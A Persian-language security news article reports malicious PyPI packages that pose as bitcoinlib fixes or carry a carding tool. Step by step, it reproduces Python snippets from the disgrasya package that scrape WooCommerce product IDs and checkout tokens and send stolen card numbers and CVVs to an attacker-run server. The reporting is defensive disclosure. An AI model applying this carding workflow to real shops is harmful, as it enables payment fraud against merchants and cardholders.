محققان امنیت سایبری، کتابخانههای مخربی را در مخزن PyPI شناسایی کردهاند که برای سرقت اطلاعات حساس و تست دادههای کارت اعتباری سرقتشده طراحی شدهاند. پکیجهای مخرب پایتون کتابخانه محبوب بیتکوین را هدف قرار داده بودند.
به گفته شرکت ReversingLabs، دو پکیج با نامهای bitcoinlibdbfix و bitcoinlib-dev در حالی که خود را به عنوان پچهایی برای مشکلات اخیر در ماژول معتبر bitcoinlib جا زده بودند، فعالیت مخرب داشتند. این مشکلات اخیر به باگ گزارششدهای در نسخههای پیشین bitcoinlib مربوط میشود که در آن متد بهروزرسانی تراکنشها در یک حلقه بینهایت گیر میکرد.
یک پکیج دیگر به نام disgrasya که توسط شرکت Socket شناسایی شد، حاوی یک اسکریپت کاردینگ(carding script) کاملاً خودکار بود که فروشگاههای WooCommerce را هدف قرار میداد. در ادامه با کاردینگ آشنا خواهید شد.
بر اساس آمار منتشرشده در سایت pepy.tech، این پکیجها پیش از حذف شدن، صدها بار دانلود شدند:
- Bitcoinlibdbfix: تعداد 1,101 بار دانلود
- bitcoinlib-dev: تعداد ۷۳۵ بار دانلود
- disgrasya: تعداد 37,217 بار دانلود
جزئیات در مورد bitcoinlibdbfix و bitcoinlib-dev
شرکت ReversingLabs در مورد این دو کتابخانه اعلام کرد که هر دو تلاش مشابهی برای حمله داشتند؛ آنها دستور ‘clw cli’ را با کدی مخرب بازنویسی میکردند که هدفش استخراج فایلهای حساس پایگاهداده بوده است. در تصویر زیر کد مخرب ارائه شده توسط این شرکت را مشاهده میکنید:

نکته جالب توجه اینکه، نویسندگان این کتابخانههای جعلی حتی وارد بحثی در بخش Issueهای GitHub شده و سعی کردند با فریب کاربران، آنها را به دانلود نسخههای جعلی وادار کنند، اما موفق نشدند.
کاردینگ چیست؟
قبل از صحبت در مورد دیگر پکیج، نیاز است با مفهوم کاردینگ آشنا شوید. کاردینگ، که با عنوان credit card stuffing نیز شناخته میشود، به نوعی از کلاهبرداری پرداخت اشاره دارد که در آن، مهاجمان لیستی از اطلاعات کارتهای سرقتشده را بهصورت خودکار روی سیستم پرداخت یک فروشگاه آزمایش میکنند تا اعتبار آنها را بررسی کنند. این حمله زیرمجموعهای از دسته حملات بزرگتر موسوم به سوءاستفاده از تراکنشهای خودکار (automated transaction abuse)محسوب میشود.
منبع رایج اطلاعات کارتهای اعتباری دزدیدهشده، فرومهای کاردینگ(carding forum) است؛ جایی که جزئیات کارتها (که با روشهایی مانند فیشینگ، اسکیمینگ یا بدافزارهای سرقتی بهدست آمدهاند) برای فروش به دیگر مهاجمان قرار داده میشود.
پس از اینکه اعتبار این کارتها تأیید شد (یعنی کارت مفقود، مسدود یا باطل نشده باشد)، مجرمان آنها را برای خرید گیفت کارت یا کارتهای پیشپرداخت استفاده میکنند و سپس این کارتها را برای کسب سود مجدد میفروشند. همچنین از این کارتها برای تراکنشهای کوچک در سایتهای فروشگاهی استفاده میشود تا توجه سیستمهای شناسایی تقلب جلب نشود.
جزئیات disgrasya
پکیج disgrasya کاملاً مخرب بوده و هیچ تلاشی برای پنهان کردن عملکرد کاردینگ و سرقت دادههای کارت اعتباری نداشته است. به گفته تیم تحقیقاتی Socket، پیلود مخرب در نسخه ۷.۳۶.۹ معرفی شد و تمام نسخههای بعدی نیز همان منطق حمله را به همراه داشتند.
پکیج مخرب شناساییشده توسط Socket، بهطور خاص برای اعتبارسنجی اطلاعات کارتهای سرقتی طراحی شده است و فروشندگانی که از WooCommerce و درگاه پرداخت CyberSource استفاده میکنند را هدف قرار میدهد. اسکریپت این پکیج با شبیهسازی رفتار خرید واقعی، مراحل زیر را انجام میداد:
گام اول: استخراج شناسه محصول از فروشگاه تجارت الکترونیک
حمله با ارسال یک درخواست GET به صفحه فهرست محصولات فروشگاه هدف WooCommerce آغاز میشود. هدف، استخراج یک شناسه محصول (product_id) است که برای شبیهسازی افزودن محصول به سبد خرید ضروری است. اسکریپت با استفاده از تقسیم ساده رشتهها در پاسخ HTML، اولین نمونه ویژگی data-product_id را پیدا میکند. این شناسه بهصورت پویا از صفحه محصولات واقعی استخراج میشود تا اسکریپت بتواند بدون نیاز به تنظیم دستی، در دامنههای مختلف WooCommerce استفاده شود؛ امری که برای خودکارسازی انبوه و هدفگیری صدها فروشگاه حیاتی است.
url = f"https://{domain}/?=&post_type=product"
response = session.get(url, proxies=proxy)
split_text = response.text.split('data-product_id="')
id = split_text[1].split('"')[0]
گام دوم: افزودن محصول به سبد خرید از طریق AJAX
پس از شناسایی شناسه محصول، اسکریپت یک درخواست POST به اندپوینت AJAX به نام add_to_cartارسال میکند. این مرحله، رفتار یک خریدار قانونی را که محصولی را به سبد خود اضافه میکند، شبیهسازی مینماید و از API پسزمینهای استفاده میکند که سایتهای تجارت الکترونیک برای تجربه کاربری راحت ارائه میدهند. این افزودن بیصدا به سبد خرید، از جریانهای مبتنی بر رابط کاربری اجتناب کرده و به مهاجم کمک میکند تا از سیستمهای تشخیص ربات که حرکات ماوس یا الگوهای کلیک غیرعادی را رصد میکنند، در امان بماند.
url = f"https://{domain}/?wc-ajax=add_to_cart"
data = {'quantity': 1, 'add-to-cart': id}
response = session.post(url, data=data, proxies=proxy)
گام سوم: استخراج توکن CSRF و capture_context
در ادامه، اسکریپت به صفحه پرداخت WooCommerce هدایت میشود و با یک درخواست GET دیگر، دو مقدار حیاتی را از پاسخ HTML استخراج میکند:
- توکنCSRF :woocommerce-process-checkout-nonce
- capture_context
توکن CSRF برای جلوگیری از درخواستهای جعلی در WooCommerce طراحی شده و تضمین میکند که فرم پرداخت از یک نشست قانونی ارسال شده باشد. capture_context نیز یک توکن امنیتی است که توسط CyberSource برای رمزنگاری دادههای پرداخت در سمت کاربر تولید میشود.
url = f"https://{domain}/checkout/"
response = session.get(url, proxies=proxy)
checkoutNonce = response.text.split('name="woocommerce-process-checkout-nonce" value="')[1].split('"')[0]
capture_context = response.text.split('"capture_context":"')[1].split('"')[0]
مهاجم این مقادیر را مستقیماً از صفحه برداشته و جاوااسکریپت سمت کاربر را دور میزند.
گام چهارم: ارسال اطلاعات کارت اعتباری به سرور خارجی
خطرناکترین بخش کد در این مرحله رخ میدهد: ارسال دادههای کارت اعتباری دزدیدهشده. اسکریپت شماره کارت، تاریخ انقضا، و کد CVV را همراه با capture_context جمعآوری کرده و با یک درخواست POST به سرور خارجی تحت کنترل مهاجم (railgunmisaka[.]com) ارسال مینماید.
url = "https://www.railgunmisaka.com/cybersourceFlexV2"
headers = {
"Accept": "application/json",
"Content-Type": "application/json"
}
data = {
"card": f"{cc}|{mm}|{yy}|{cvv}",
"capture_context": capture_context
}
response = session.post(url, data=data, headers=headers)
encryptedCardData = json.loads(response.text)["flextoken"]
سرور مهاجم با بازگرداندن یک flextoken، رفتار CyberSource را تقلید میکند. این توکن به مهاجم اجازه میدهد بدون مواجهه مستقیم با سیستمهای تشخیص تقلب درگاه پرداخت، کارایی کارت را آزمایش کند. در این مرحله، اسکریپت اطلاعات صورتحساب تصادفی را پر میکند و دادههای کارت دزدیدهشده – که بهصورت توکنشده درآمده – را درج مینماید. در صورت موفقیت، مهاجم تأییدیه دریافت سفارش(order-received) را در پاسخ JSON مشاهده میکند؛ در غیر این صورت، پیام خطا را برای ثبت شکست و احتمالاً آزمایش کارت دیگر تحلیل مینماید.
if 'order-received' in status:
receipt = stripTags(json.loads(response.text)["redirect"])
return print(f"[+]{domain} {cc}|{mm}|{yy}|{cvv} {receipt}")
elif 'order-pay' in status:
message = stripTags(json.loads(response.text)["messages"])
return print(f"[!] {domain} {cc}|{mm}|{yy}|{cvv} Payment error, try alternate method.")
elif 'failure' in status:
message = stripTags(json.loads(response.text)["messages"])
return print(f"[x] {domain} {cc}|{mm}|{yy}|{cvv} {message}")
این جریان هدفمند و منظم، از استخراج شناسهها و توکنها تا ارسال دادههای کارت و شبیهسازی پرداخت، طوری طراحی شده که با ترافیک عادی ترکیب شود و تشخیص آن را برای سیستمهای سنتی ضدتقلب دشوار سازد.
نکته جالب این است که اگرچه نام disgrasya ممکن است برای فیلیپینیزبانان حساسیتبرانگیز باشد (در زبان عامیانه فیلیپینی به معنی “فاجعه” یا “حادثه” است) اما توصیف دقیقی از پکیجی است که یک فرآیند چندمرحلهای را برای شبیهسازی مسیر خرید آنلاین کاربر انجام میدهد تا کارتهای اعتباری دزدیدهشده را در سیستمهای پرداخت واقعی آزمایش کند بدون آنکه تقلبی به نظر برسد. با جاسازی این منطق در یک پکیج Python و انتشار آن در PyPI که بیش از ۳۴٬۰۰۰ بار دانلود شده، مهاجم ابزاری ماژولار ایجاد کرده که میتواند به راحتی در فریمورکهای خودکار بزرگتر استفاده شود و disgrasya را به یک ابزار کاردینگ قدرتمند تبدیل کرده که در قالب یک کتابخانه بیضرر مخفی شده است.